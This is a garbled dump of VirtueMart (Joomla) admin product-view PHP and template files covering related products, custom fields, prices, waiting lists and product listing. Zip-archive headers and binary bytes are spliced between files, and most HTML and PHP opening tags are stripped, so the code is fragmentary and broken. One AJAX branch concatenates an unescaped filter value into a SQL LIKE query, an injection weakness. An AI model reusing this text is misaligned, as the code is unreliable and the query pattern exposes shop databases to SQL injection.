self::setRelatedHtml($query,'R'); } else if ($this->type=='relatedcategories') { $query = "SELECT virtuemart_category_id AS id, CONCAT(category_name, '::', virtuemart_category_id) AS value FROM #__virtuemart_categories_".VMLANG; if ($filter) $query .= " WHERE category_name LIKE '%". $this->db->getEscaped( $filter, true ) ."%' limit 0,10"; self::setRelatedHtml($query,'Z'); } else if ($this->type=='custom') { $query = "SELECT CONCAT(virtuemart_custom_id, '|', custom_value, '|', field_type) AS id, CONCAT(custom_title, '::', custom_tip) AS value FROM #__virtuemart_customs"; if ($filter) $query .= " WHERE custom_title LIKE '%".$filter."%' limit 0,50"; $this->db->setQuery($query); $this->json['value'] = $this->db->loadObjectList(); $this->json['ok'] = 1 ; } else if ($this->type=='fields') { $fieldTypes= $this->model->getField_types() ; $query = 'SELECT *,`custom_value` as value FROM `#__virtuemart_customs` WHERE (`virtuemart_custom_id`='.$id.' or `custom_parent_id`='.$id.' ) '; $query .= 'order by `ordering` asc'; $this->db->setQuery($query); $rows = $this->db->loadObjectlist(); $html = array (); foreach ($rows as $field) { if ($field->field_type =='C' ){ $this->json['table'] = 'childs'; $q='SELECT `virtuemart_product_id` FROM `#__virtuemart_products` WHERE `published`=1 AND `product_parent_id`= '.JRequest::getInt('virtuemart_product_id'); //$this->db->setQuery(' SELECT virtuemart_product_id, product_name FROM `#__virtuemart_products` WHERE `product_parent_id` ='.(int)$product_id); $this->db->setQuery($q); if ($childIds = $this->db->loadResultArray()) { // Get childs foreach ($childIds as $childId) { $field->custom_value = $childId; $display = $this->model->displayProductCustomfieldBE($field,$childId,$this->row); if ($field->is_cart_attribute) $cartIcone= 'default'; else $cartIcone= 'default-off'; $html[] = '
    '.$field->custom_title.' '.$display.$field->custom_tip.' '.JText::_($fieldTypes[$field->field_type]).' '.$this->model->setEditCustomHidden($field, $this->row).'
    '; $this->row++; } } } elseif ($field->field_type =='E') { $this->json['table'] = 'customPlugins'; $display = $this->model->displayProductCustomfieldBE($field,$product_id,$this->row); if ($field->is_cart_attribute) { $cartIcone= 'default'; } else { $cartIcone= 'default-off'; } $html[] = ' '.$field->custom_title.' '.$display.' '.$this->model->setEditCustomHidden($field, $this->row).'

    '.JTEXT::_('COM_VIRTUEMART_CUSTOM_ACTIVATE_JAVASCRIPT').'

    '.JText::_('COM_VIRTUEMART_CUSTOM_EXTENSION').' '; $this->row++; } else { $this->json['table'] = 'fields'; $display = $this->model->displayProductCustomfieldBE($field,$product_id,$this->row); if ($field->is_cart_attribute) $cartIcone= 'default'; else $cartIcone= 'default-off'; $html[] = ' '.$field->custom_title.' '.$display.' '.JText::_($fieldTypes[$field->field_type]).' '.$this->model->setEditCustomHidden($field, $this->row).' '; $this->row++; } } $this->json['value'] = $html; $this->json['ok'] = 1 ; } else if ($this->type=='userlist') { $status = JRequest::getvar('status'); $productShoppers=0; if ($status) { $productModel = VmModel::getModel('product'); $productShoppers = $productModel->getProductShoppersByStatus($product_id ,$status); } if(!class_exists('ShopFunctions'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $html = ShopFunctions::renderProductShopperList($productShoppers); $this->json['value'] = $html; } else $this->json['ok'] = 0 ; if ( empty($this->json)) { $this->json['value'] = null; $this->json['ok'] = 1 ; } echo json_encode($this->json); } function setRelatedHtml($query,$fieldType) { $this->db->setQuery($query); $this->json = $this->db->loadObjectList(); $query = 'SELECT * FROM `#__virtuemart_customs` WHERE field_type ="'.$fieldType.'" '; $this->db->setQuery($query); $customs = $this->db->loadObject(); foreach ($this->json as &$related) { $customs->custom_value = $related->id; $display = $this->model->displayProductCustomfieldBE($customs,$related->id,$this->row); $html = '
    '.$display.' '.$this->model->setEditCustomHidden($customs, $this->row).'
    '; $related->label = $html; } } } // pure php no closing tag PKB\Aj΂*views/product/tmpl/product_edit_images.phpnuW+A
    product->images[0]->virtuemart_media_id)) $this->product->images[0]->addHidden('file_is_product_image','1'); if (!empty($this->product->virtuemart_media_id)) echo $this->product->images[0]->displayFilesHandler($this->product->virtuemart_media_id,'product'); else echo $this->product->images[0]->displayFilesHandler(null,'product'); ?>
    '.JText::_('COM_VIRTUEMART_RTB_AD').'
    '; $jlang =JFactory::getLanguage(); $tag = $jlang->getTag(); $imgUrl = 'http://www.removethebackground.de//images/logoremove.png'; if(strpos($tag,'de')!==FALSE){ $url = 'http://www.removethebackground.de/virtuemart.aspx'; } else if(strpos($tag,'fr')!==FALSE){ $url = 'http://www.removethebackground.fr/virtuemart.aspx'; } else { $url = 'http://www.removethebackground.co.uk/virtuemart.aspx'; } echo ''; ?>
    PKB\`G*views/product/tmpl/product_edit_status.phpnuW+A
    waitinglist) && count($this->waitinglist) > 0) { $link=JROUTE::_('index.php?option=com_virtuemart&view=product&task=sentproductemailtoshoppers&virtuemart_product_id='.$this->product->virtuemart_product_id.'&token='.JUtility::getToken() ); }*/ ?>
    product->product_available_date, 'product_available_date'); ?>
    product->product_availability, " ", $this->imagePath); ?> <?php echo JText::_('COM_VIRTUEMART_PREVIEW'); ?>
    loadTemplate('customer'); ?>
    PKB\views/product/tmpl/index.htmlnuW+APKB\{E#views/product/tmpl/product_edit.phpnuW+Aeditor = JFactory::getEditor(); ?>
    product->virtuemart_product_id ); // Loading Templates in Tabs END ?> addStandardHiddenToForm(); ?>
    addScriptDeclaration( 'jQuery(window).load(function(){ jQuery.ajaxSetup({ cache: false }); })'); ?> PKB\rhu,,,views/product/tmpl/product_edit_customer.phpnuW+A
    JText::_ ('COM_VIRTUEMART_PRODUCT_SHOPPERS'), 'notify' => JText::_ ('COM_VIRTUEMART_PRODUCT_WAITING_LIST_USERLIST'), ); $mail_default = 'notify'; if (VmConfig::get ('stockhandle', 0) != 'disableadd' or empty($this->waitinglist)) { echo ''; } else { echo VmHtml::radioList ('customer_email_type', $mail_default, $mail_options); } ?>




    lists['OrderStatus'];?>

    product->product_name)); ?>
    productShoppers); ?>
    waitinglist)) { ?>
    waitinglist) && count ($this->waitinglist) > 0) { $i=0; foreach ($this->waitinglist as $key => $wait) { if ($wait->virtuemart_user_id == 0) { $row = ''; } else { $row = ''; } echo $row; $i = 1 - $i; } } else { ?>
    ' . $wait->notify_email . '
    ' . $wait->name . '' . $wait->username . '' . '' . $wait->notify_email . '' . '
    '; echo JText::sprintf('COM_VIRTUEMART_AD_ACY',$aflink); ?>
    PKB\kW]uviews/product/tmpl/massxref.phpnuW+Atask=='massxref_cats' or $this->task=='massxref_cats_exe'){ include(JPATH_VM_ADMINISTRATOR.DS.'views'.DS.'category'.DS.'tmpl'.DS.'default.php'); } if($this->task=='massxref_sgrps' or $this->task=='massxref_sgrps_exe'){ include(JPATH_VM_ADMINISTRATOR.DS.'views'.DS.'shoppergroup'.DS.'tmpl'.DS.'default.php'); }PKB\ G .views/product/tmpl/product_edit_dimensions.phpnuW+A
    lists['product_lwh_uom'];?>
    lists['product_weight_uom'];?>
      lists['product_iso_uom'];?>
     
    PKB\KL/views/product/tmpl/product_edit_description.phpnuW+A
    editor->display('product_desc', $this->product->product_desc, '100%;', '450', '75', '20', array('pagebreak', 'readmore') ) ; ?>
    product); ?>
    PKB\)views/product/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\ %n+n+views/product/tmpl/default.phpnuW+A'); $search_type = JRequest::getVar('search_type', 'product'); // OSP in view.html.php $virtuemart_category_id = JRequest::getInt('virtuemart_category_id', false); if ($product_parent_id=JRequest::getInt('product_parent_id', false)) $col_product_name='COM_VIRTUEMART_PRODUCT_CHILDREN_LIST'; else $col_product_name='COM_VIRTUEMART_PRODUCT_NAME'; ?>
    productlist ?> lists['filter_order_Dir'], $this->lists['filter_order'] ); ?> */ ?> virtuemart_category_id ) { ?> productlist) ) { $i = 0; $k = 0; $keyword = JRequest::getWord('keyword'); foreach ($this->productlist as $key => $product) { $checked = JHTML::_('grid.id', $i , $product->virtuemart_product_id,null,'virtuemart_product_id'); $published = JHTML::_('grid.published', $product, $i ); $is_featured = $this->toggle($product->product_special, $i, 'toggle.product_special'); $link = 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$product->virtuemart_product_id; ?> virtuemart_product_id.'&option=com_virtuemart'); ?> virtuemart_category_id ) { ?> virtuemart_product_id; ?>
    sort('product_name',$col_product_name) ?> sort('product_parent_id','COM_VIRTUEMART_PRODUCT_CHILDREN_OF'); ?> sort('product_sku') ?> sort('product_price', 'COM_VIRTUEMART_PRODUCT_PRICE_TITLE') ; ?> sort('pc.ordering', 'COM_VIRTUEMART_FIELDMANAGER_REORDER'); ?> productlist); //vmCommonHTML::getSaveOrderButton( $num_rows, 'changeordering' ); ?> sort('mf_name', 'COM_VIRTUEMART_MANUFACTURER_S') ; ?> sort('product_special', 'COM_VIRTUEMART_PRODUCT_FORM_SPECIAL'); ?> sort('published') ; ?> sort('p.virtuemart_product_id', 'COM_VIRTUEMART_ID') ?>
    product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$product->product_name)); ?> product_parent_id ) { VirtuemartViewProduct::displayLinkToParent($product->product_parent_id); } ?> virtuemart_product_id , $product->product_name); ?> $mediaLimit = (int)VmConfig::get('mediaLimit',20); if($this->pagination->limit<=$mediaLimit or $total<=$mediaLimit){ // Product list should be ordered $this->model->addImages($product,1); $img = '('.$product->mediaitems.')'.$product->images[0]->displayMediaThumb('class="vm_mini_image"',false ); //echo JHTML::_('link', $link, $img, array('title' => JText::_('COM_VIRTUEMART_MEDIA_MANAGER').' '.$product->product_name)); } else { //echo JHTML::_('link', $link, ' ('.$product->mediaitems.')', array('title' => JText::_('COM_VIRTUEMART_MEDIA_MANAGER').' '.$product->product_name) ); $img = ' ('.$product->mediaitems.')'; } echo JHTML::_('link', $link, $img, array('title' => JText::_('COM_VIRTUEMART_MEDIA_MANAGER').' '.$product->product_name)); ?> product_sku; ?> product_price_display)) { echo $product->product_price_display; } elseif(!empty($product->prices)) { echo JText::_('COM_VIRTUEMART_MULTIPLE_PRICES'); } else { echo JText::_('COM_VIRTUEMART_NO_PRICE_SET'); } ?> virtuemart_category_id.'&option=com_virtuemart'), $product->category_name); echo $product->categoriesList; ?> pagination->orderUpIcon( $i, true, 'orderup', JText::_('COM_VIRTUEMART_MOVE_UP'), $product->ordering ); ?> pagination->orderDownIcon( $i, $total , true, 'orderdown', JText::_('COM_VIRTUEMART_MOVE_DOWN'), $product->ordering ); ?> ordering ); ?> virtuemart_manufacturer_id) { echo JHTML::_('link', JRoute::_('index.php?view=manufacturer&task=edit&virtuemart_manufacturer_id[]='.$product->virtuemart_manufacturer_id.'&option=com_virtuemart'), $product->mf_name); } ?> reviews); ?> virtuemart_product_id; // echo $product->vendor_name; ?>
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(); ?>
    virtuemart_category_id ) { ?> PKB\"FF/views/product/tmpl/product_edit_information.phpnuW+A
    langList; ?>
    product->virtuemart_product_id ?> lists['manufacturers'])) { ?> '; }?> product->ordering)) { $this->product->ordering = 0; ?>
    lists['manufacturers'];?> productLayouts, 'layout', 'size=1', 'value', 'text', $this->product->layout); ?>
    shoppergroupList; ?> lists['vendors'];?> '; }?>
    activeShoppergroups); ?> product; if (empty($this->product->prices)) { $this->product->prices[] = array(); } $this->i = 0; $rowColor = 0; if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); $currency_model = VmModel::getModel ('currency'); $currencies = $currency_model->getCurrencies (); $nbPrice = count ($this->product->prices); $this->priceCounter = 0; $this->product->prices[$nbPrice] = $this->product_empty_price; if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); ?> product->prices); foreach ($this->product->prices as $sPrices) { if(count($sPrices) == 0) continue; if (empty($sPrices['virtuemart_product_price_id'])) { $sPrices['virtuemart_product_price_id'] = ''; } //vmdebug('my $sPrices ',$sPrices); $sPrices = (array)$sPrices; $this->tempProduct = (object)array_merge ((array)$this->product, $sPrices); $this->calculatedPrices = $calculator->getProductPrices ($this->tempProduct); if((string)$sPrices['product_price']==='0' or (string)$sPrices['product_price']===''){ $this->calculatedPrices['costPrice'] = ''; } $currency_model = VmModel::getModel ('currency'); $this->lists['currencies'] = JHTML::_ ('select.genericlist', $currencies, 'mprices[product_currency][' . $this->priceCounter . ']', '', 'virtuemart_currency_id', 'currency_name', $this->tempProduct->product_currency); $DBTax = ''; //vmText::_('COM_VIRTUEMART_RULES_EFFECTING') ; foreach ($calculator->rules['DBTax'] as $rule) { $DBTax .= $rule['calc_name'] . '
    '; } $this->DBTaxRules = $DBTax; $tax = ''; //vmText::_('COM_VIRTUEMART_TAX_EFFECTING').'
    '; foreach ($calculator->rules['Tax'] as $rule) { $tax .= $rule['calc_name'] . '
    '; } foreach ($calculator->rules['VatTax'] as $rule) { $tax .= $rule['calc_name'] . '
    '; } $this->taxRules = $tax; $DATax = ''; //vmText::_('COM_VIRTUEMART_RULES_EFFECTING'); foreach ($calculator->rules['DATax'] as $rule) { $DATax .= $rule['calc_name'] . '
    '; } $this->DATaxRules = $DATax; if (!isset($this->tempProduct->product_tax_id)) { $this->tempProduct->product_tax_id = 0; } $this->lists['taxrates'] = ShopFunctions::renderTaxList ($this->tempProduct->product_tax_id, 'mprices[product_tax_id][' . $this->priceCounter . ']'); if (!isset($this->tempProduct->product_discount_id)) { $this->tempProduct->product_discount_id = 0; } $this->lists['discounts'] = $this->renderDiscountList ($this->tempProduct->product_discount_id, 'mprices[product_discount_id][' . $this->priceCounter . ']'); $this->lists['shoppergroups'] = ShopFunctions::renderShopperGroupList ($this->tempProduct->virtuemart_shoppergroup_id, false, 'mprices[virtuemart_shoppergroup_id][' . $this->priceCounter . ']'); if ($this->priceCounter == $nbPrice) { $tmpl = "productPriceRowTmpl"; } else { $tmpl = "productPriceRowTmpl_" . $this->priceCounter; } ?> priceCounter++; } ?>
    */ ?> loadTemplate ('price'); ?>
    product->virtuemart_product_id) { $link=JROUTE::_('index.php?option=com_virtuemart&view=product&task=createVariant&virtuemart_product_id='.$this->product->virtuemart_product_id.'&token='.JUtility::getToken() ); $add_child_button=""; } else { $link=""; $add_child_button=" not-active"; } ?> product->product_parent_id) { $result = vmText::_('COM_VIRTUEMART_EDIT').' ' . $this->product_parent->product_name; echo ' | '.JHTML::_('link', JRoute::_('index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$this->product->product_parent_id), $this->product_parent->product_name, array('title' => $result)).' | '.$this->parentRelation; } ?>
    product_childs)>0 ) { $customs = array(); if(!empty($this->product->customfields)){ foreach($this->product->customfields as $custom){ //vmdebug('my custom',$custom); if($custom->field_type=='A'){ $customs[] = $custom; } } } // vmdebug('ma $customs',$customs); ?> product_childs as $child ) { $i = 1 - $i; ?> custom_value; if(isset($child->$attrib)){ $childAttrib = $child->$attrib; } else { //vmdebug('unset? use Fallback product_name instead $attrib '.$attrib,$child); $childAttrib = $child->product_name; } ?>
    custom_value)))?> foo
    virtuemart_product_id), $child->slug, array('title' => vmText::_('COM_VIRTUEMART_EDIT').' '.$child->product_name)) ?> product_in_stock ?> product_ordered ?> virtuemart_product_id.'][published]', $child->published) ?>
    PKB\$***views/product/tmpl/product_edit_custom.phpnuW+Aproduct->customfields_fromParent)) { ?> '. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .''; /*$tables['fields'] .= ' ';*/ } else { $tables['fields'] .= ''; } $i++; } } $emptyTable = ' '; ?>
    '.$this->customsList; ?>
    '','products'=>'','fields'=>'','customPlugins'=>'',); if (isset($this->product->customfields)) { foreach ($this->product->customfields as $customfield) { if ($customfield->is_cart_attribute) $cartIcone= 'default'; else $cartIcone= 'default-off'; if ($customfield->field_type == 'Z') { // R: related categories $tables['categories'] .= '
    '.$customfield->display.' '. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .'
    '; } elseif ($customfield->field_type == 'R') { // R: related products $tables['products'] .= '
    '.$customfield->display.' '. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .'
    '; } elseif ($customfield->field_type == 'G') { // no display (group of) child , handled by plugin; } elseif ($customfield->field_type == 'E'){ $tables['fields'] .= '
    '.JText::_($customfield->custom_title).' '.$customfield->display.' '.JText::_('COM_VIRTUEMART_CUSTOM_EXTENSION').'
    '.JText::_($customfield->custom_title).' '.$customfield->display.$customfield->custom_tip.''. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i).' .'
    '.JText::_($customfield->custom_title).' '.$customfield->display.' '.JText::_($this->fieldTypes[$customfield->field_type]). VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .'
    '.JText::_( 'COM_VIRTUEMART_CUSTOM_NO_TYPES').'
    PKB\H!!)views/product/tmpl/product_edit_price.phpnuW+A
    */ ?>
    */ ?>
    lists['currencies']; ?> lists['shoppergroups']; ?>
      vendor_currency; ?> lists['taxrates']; ?>
    ' . $this->taxRules ?>
    vendor_currency; ?> lists['discounts']; ?>
    DBTaxRules)) { echo JText::_ ('COM_VIRTUEMART_RULES_EFFECTING') . '
    ' . $this->DBTaxRules . '
    '; } if (!empty($this->DATaxRules)) { echo JText::_ ('COM_VIRTUEMART_RULES_EFFECTING') . '
    ' . $this->DATaxRules; } // vmdebug('my rules',$this->DBTaxRules,$this->DATaxRules); echo JText::_('COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_EFFECTING').$this->DBTaxRules; ?>
    tempProduct->product_price_publish_up, 'mprices[product_price_publish_up][]'); ?> tempProduct->product_price_publish_down, 'mprices[product_price_publish_down][]'); ?>
    vendor_currency; ?>
    JText::_ ('JNO'), 1 => JText::_ ('JYES')); // echo VmHtml::radioList ('mprices[use_desired_price][' . $this->priceCounter . ']', $this->tempProduct->override, $options); echo '' ?>
    product->override); $options = array(0 => JText::_ ('COM_VIRTUEMART_OVERWRITE_OFF'), 1 => JText::_ ('COM_VIRTUEMART_OVERWRITE_FINAL'), -1 => JText::_ ('COM_VIRTUEMART_OVERWRITE_PRICE_TAX')); echo VmHtml::radioList ('mprices[override][' . $this->priceCounter . ']', $this->tempProduct->override, $options,'',' '); ?>

    PKB\views/product/index.htmlnuW+APKB\׻LQQviews/product/view.html.phpnuW+AgetLayout()); vmdebug('VirtuemartViewProduct '.$task); $this->assignRef('task', $task); // Load helpers if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); $model = VmModel::getModel(); // Handle any publish/unpublish switch ($task) { case 'add': case 'edit': //this was in the controller for the edit tasks, we need this for the access by FE $this->addTemplatePath(JPATH_COMPONENT_ADMINISTRATOR.DS.'views'.DS.'product'.DS.'tmpl'); VmConfig::loadJLang('com_virtuemart_orders',TRUE); VmConfig::loadJLang('com_virtuemart_shoppers',TRUE); $virtuemart_product_id = JRequest::getVar('virtuemart_product_id', array()); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $product = $model->getProductSingle($virtuemart_product_id,false); //$product_parent= $model->getProductParent($product->product_parent_id); $product_parent= $model->getProductSingle($product->product_parent_id,false); $mf_model = VmModel::getModel('manufacturer'); $manufacturers = $mf_model->getManufacturerDropdown($product->virtuemart_manufacturer_id); $this->assignRef('manufacturers', $manufacturers); // Get the category tree if (isset($product->categories)) $category_tree = ShopFunctions::categoryListTree($product->categories); else $category_tree = ShopFunctions::categoryListTree(); $this->assignRef('category_tree', $category_tree); //Fallback for categories inherited by parent to correctly calculate the prices if(empty($product->categories) and !empty($product_parent->categories)){ $product->categories = $product_parent->categories; } //Get the shoppergoup list - Cleanshooter Custom Shopper Visibility if (isset($product->shoppergroups)) $shoppergroupList = ShopFunctions::renderShopperGroupList($product->shoppergroups); $this->assignRef('shoppergroupList', $shoppergroupList); // Load the product price if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $product_childIds = $model->getProductChildIds($virtuemart_product_id); $product_childs = array(); foreach($product_childIds as $id){ $product_childs[] = $model->getProductSingle($id,false); } $this->assignRef('product_childs', $product_childs); if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'config.php'); $productLayouts = VirtueMartModelConfig::getLayoutList('productdetails'); $this->assignRef('productLayouts', $productLayouts); // Load Images $model->addImages($product); if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $vmtemplate = shopFunctionsF::loadVmTemplateStyle(); if(is_Dir(JPATH_ROOT.DS.'templates'.DS.$vmtemplate.DS.'images'.DS.'availability'.DS)){ $imagePath = '/templates/'.$vmtemplate.'/images/availability/'; } else { $imagePath = '/components/com_virtuemart/assets/images/availability/'; } $this->assignRef('imagePath', $imagePath); // Load the vendors $vendor_model = VmModel::getModel('vendor'); if(Vmconfig::get('multix','none')!=='none'){ $lists['vendors'] = Shopfunctions::renderVendorList($product->virtuemart_vendor_id); } // Load the currencies $currency_model = VmModel::getModel('currency'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $vendor_model->setId(Permissions::getInstance()->isSuperVendor()); $vendor = $vendor_model->getVendor(); if(empty($product->product_currency)){ $product->product_currency = $vendor->vendor_currency; } //$currencies = JHTML::_('select.genericlist', $currency_model->getCurrencies(), 'product_currency', '', 'virtuemart_currency_id', 'currency_name', $product->product_currency); $currency = $currency_model->getCurrency($product->product_currency); $this->assignRef('product_currency', $currency->currency_symbol); $currency = $currency_model->getCurrency($vendor->vendor_currency); $this->assignRef('vendor_currency', $currency->currency_symbol); if(count($manufacturers)>0 ){ $lists['manufacturers'] = JHTML::_('select.genericlist', $manufacturers, 'virtuemart_manufacturer_id', 'class="inputbox"', 'value', 'text', $product->virtuemart_manufacturer_id ); } if(!empty($product->product_weight_uom)){ // or !$task=='add' $product_weight_uom = $product->product_weight_uom; $product_unit = $product->product_unit; $product_lwh_uom = $product->product_lwh_uom; } else if(!empty($product_parent)){ $product_weight_uom = $product_parent->product_weight_uom; $product_unit = $product_parent->product_unit; $product_lwh_uom = $product_parent->product_lwh_uom; } else { $product_weight_uom = VmConfig::get('weight_unit_default'); $product_unit = VmConfig::get('weight_unit_default'); $product_lwh_uom= VmConfig::get('lwh_unit_default'); } $lists['product_weight_uom'] = ShopFunctions::renderWeightUnitList('product_weight_uom',$product_weight_uom); $lists['product_iso_uom'] = ShopFunctions::renderUnitIsoList('product_unit',$product_unit); $lists['product_lwh_uom'] = ShopFunctions::renderLWHUnitList('product_lwh_uom', $product_lwh_uom); if( empty( $product->product_available_date )) { $product->product_available_date = date("Y-m-d") ; } $waitinglistmodel = VmModel::getModel('waitinglist'); /* Load waiting list */ if ($product->virtuemart_product_id) { //$waitinglist = $this->get('waitingusers', 'waitinglist'); $waitinglist = $waitinglistmodel->getWaitingusers($product->virtuemart_product_id); $this->assignRef('waitinglist', $waitinglist); } $productShoppers = $model->getProductShoppersByStatus($product->virtuemart_product_id,array('S') ); $this->assignRef('productShoppers', $productShoppers); $orderstatusModel = VmModel::getModel('orderstatus'); $lists['OrderStatus'] = $orderstatusModel->renderOSList(array(),'order_status',TRUE); $field_model = VmModel::getModel('customfields'); $fieldTypes = $field_model->getField_types(); $this->assignRef('fieldTypes', $fieldTypes); // Add the virtuemart_shoppergroup_ids $cid = JFactory::getUser()->id; $this->activeShoppergroups = shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_vmuser_shoppergroups','virtuemart_user_id',$cid,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','category', 4, 0); if(!$this->activeShoppergroups or (is_array($this->activeShoppergroups) and count($this->activeShoppergroups)==0)){ //vmdebug('$this->activeShoppergroups',$this->activeShoppergroups); $shoppergroupModel = VmModel::getModel('shoppergroup'); $this->activeShoppergroups = vmText::_($shoppergroupModel->getDefault(0)->shopper_group_name); } /* Load protocustom lists */ $customsList = $field_model->getCustomsList(); $attribs='style= "width: 300px;"'; $customlist = JHTML::_('select.genericlist', $customsList,'customlist', $attribs); $this->assignRef('customsList', $customlist); $ChildCustomRelation = $field_model->getProductChildCustomRelation(); $this->assignRef('ChildCustomRelation',$ChildCustomRelation); if ($product->product_parent_id > 0) { $parentRelation= $field_model->getProductParentRelation($product->virtuemart_product_id); $this->assignRef('parentRelation',$parentRelation); // Set up labels $info_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_INFO_LBL'); $status_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_STATUS_LBL'); $dim_weight_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_DIM_WEIGHT_LBL'); $images_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_IMAGES_LBL'); $delete_message = JText::_('COM_VIRTUEMART_PRODUCT_FORM_DELETE_ITEM_MSG'); } else { if ($task == 'add') $action = JText::_('COM_VIRTUEMART_PRODUCT_FORM_NEW_PRODUCT_LBL'); else $action = JText::_('COM_VIRTUEMART_PRODUCT_FORM_UPDATE_ITEM_LBL'); $info_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_INFO_LBL'); $status_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_STATUS_LBL'); $dim_weight_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_DIM_WEIGHT_LBL'); $images_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_IMAGES_LBL'); $delete_message = JText::_('COM_VIRTUEMART_PRODUCT_FORM_DELETE_PRODUCT_MSG'); } $this->assignRef('product', $product); $product_empty_price = array( 'virtuemart_product_price_id' => 0 , 'virtuemart_product_id' => $virtuemart_product_id , 'virtuemart_shoppergroup_id' => NULL , 'product_price' => NULL , 'override' => NULL , 'product_override_price' => NULL , 'product_tax_id' => NULL , 'product_discount_id' => NULL , 'product_currency' => $vendor->vendor_currency , 'product_price_publish_up' => NULL , 'product_price_publish_down' => NULL , 'price_quantity_start' => NULL , 'price_quantity_end' => NULL ); $this->assignRef ('product_empty_price', $product_empty_price); $this->assignRef('product_parent', $product_parent); /* Assign label values */ $this->assignRef('action', $action); $this->assignRef('info_label', $info_label); $this->assignRef('status_label', $status_label); $this->assignRef('dim_weight_label', $dim_weight_label); $this->assignRef('images_label', $images_label); $this->assignRef('delete_message', $delete_message); $this->assignRef('lists', $lists); // Toolbar if ($product->product_sku) $sku=' ('.$product->product_sku.')'; else $sku=""; if (!empty($product->canonCatLink)) $canonLink = '&virtuemart_category_id=' . $product->canonCatLink; else $canonLink = ''; if(!empty($product->virtuemart_product_id)){ if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); $menuItemID = shopFunctionsF::getMenuItemId(JFactory::getLanguage()->getTag()); $text = ''. $product->product_name.$sku.''; } else { $text = $product->product_name.$sku; } $this->SetViewTitle('PRODUCT',$text); $this->addStandardEditViewCommands ($product->virtuemart_product_id); break; case 'massxref_cats': case 'massxref_cats_exe': $this->SetViewTitle('PRODUCT_MASSXREF'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $showVendors = Permissions::getInstance()->check('admin'); $this->assignRef('showVendors',$showVendors); $keyWord =''; $catmodel = VmModel::getModel('category'); $this->assignRef('catmodel', $catmodel); //$this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($catmodel,'category_name'); $categories = $catmodel->getCategoryTree(0,0,false,$this->lists['search']); $this->assignRef('categories', $categories); $catpagination = $catmodel->getPagination(); $this->assignRef('catpagination', $catpagination); //$this->addStandardDefaultViewCommands(); $this->setLayout('massxref'); JToolBarHelper::custom('massxref_cats_exe', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_CAT_EXE'), false); break; case 'massxref_sgrps': case 'massxref_sgrps_exe': $sgrpmodel = VmModel::getModel('shoppergroup'); $this->addStandardDefaultViewLists($sgrpmodel); $shoppergroups = $sgrpmodel->getShopperGroups(false, true); $this->assignRef('shoppergroups', $shoppergroups); $sgrppagination = $sgrpmodel->getPagination(); $this->assignRef('sgrppagination', $sgrppagination); $this->setLayout('massxref'); JToolBarHelper::custom('massxref_sgrps_exe', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_SGRPS_EXE'), false); break; default: if ($product_parent_id=JRequest::getInt('product_parent_id',false) ) { $product_parent= $model->getProductSingle($product_parent_id,false); if($product_parent){ $title='PRODUCT_CHILDREN_LIST' ; $link_to_parent = JHTML::_('link', JRoute::_('index.php?view=product&task=edit&virtuemart_product_id='.$product_parent->virtuemart_product_id.'&option=com_virtuemart'), $product_parent->product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT_PARENT').' '.$product_parent->product_name)); $msg= JText::_('COM_VIRTUEMART_PRODUCT_OF'). " ".$link_to_parent; } else { $title='PRODUCT_CHILDREN_LIST' ; $msg= 'Parent with product_parent_id '.$product_parent_id.' not found'; } } else { $title='PRODUCT'; $msg=""; } $this->db = JFactory::getDBO(); $this->SetViewTitle($title, $msg ); $this->addStandardDefaultViewLists($model,'created_on'); /* Get the list of products */ $productlist = $model->getProductListing(false,false,false,false,true); //The pagination must now always set AFTER the model load the listing $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); 